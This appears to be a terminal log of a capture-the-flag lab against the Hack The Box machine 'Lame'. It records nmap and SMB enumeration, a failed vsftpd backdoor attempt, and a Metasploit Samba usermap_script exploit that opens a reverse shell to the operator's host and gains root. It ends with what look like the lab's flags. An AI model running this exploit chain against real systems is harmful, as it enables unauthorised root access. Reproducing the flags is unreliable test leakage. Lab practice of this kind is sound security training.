┌──(root㉿kali)-[~]
└─# nmap 10.10.10.3 -sCV
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-26 00:48 EDT
Nmap scan report for 10.10.10.3
Host is up (0.098s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.16.82
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h39m31s, deviation: 2h49m44s, median: -20m30s
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2025-05-26T00:28:38-04:00
|_smb2-time: Protocol negotiation failed (SMB2)
尝试利用，但失败了
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
┌──(root㉿kali)-[~]
└─# smbmap -H 10.10.10.3
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 10.10.10.3:445 Name: 10.10.10.3 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
tmp READ, WRITE oh noes!
opt NO ACCESS
IPC$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
┌──(root㉿kali)-[~]
└─# smbclient -N //10.10.10.3/tmp
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon May 26 00:46:51 2025
.. DR 0 Sat Oct 31 02:33:58 2020
.ICE-unix DH 0 Sun May 25 15:01:10 2025
vmware-root DR 0 Sun May 25 15:01:27 2025
.X11-unix DH 0 Sun May 25 15:01:36 2025
.X0-lock HR 11 Sun May 25 15:01:36 2025
5573.jsvc_up R 0 Sun May 25 15:02:10 2025
vgauthsvclog.txt.0 R 1600 Sun May 25 15:01:08 2025
7282168 blocks of size 1024. 5386456 blocks available
msf6 > search Sambsearch Samba 3.0.20
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
msf6 > use exploit/multi/samba/usermap_scriptv
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.16.82:4444
[*] Command shell session 1 opened (10.10.16.82:4444 -> 10.10.10.3:50210) at 2025-05-26 01:09:54 -0400
id
uid=0(root) gid=0(root)
whoami
root
555ca9b0803da2a40da3f41e2e7b107f
290a22ce9d2f4ef40f54e7511688b2f2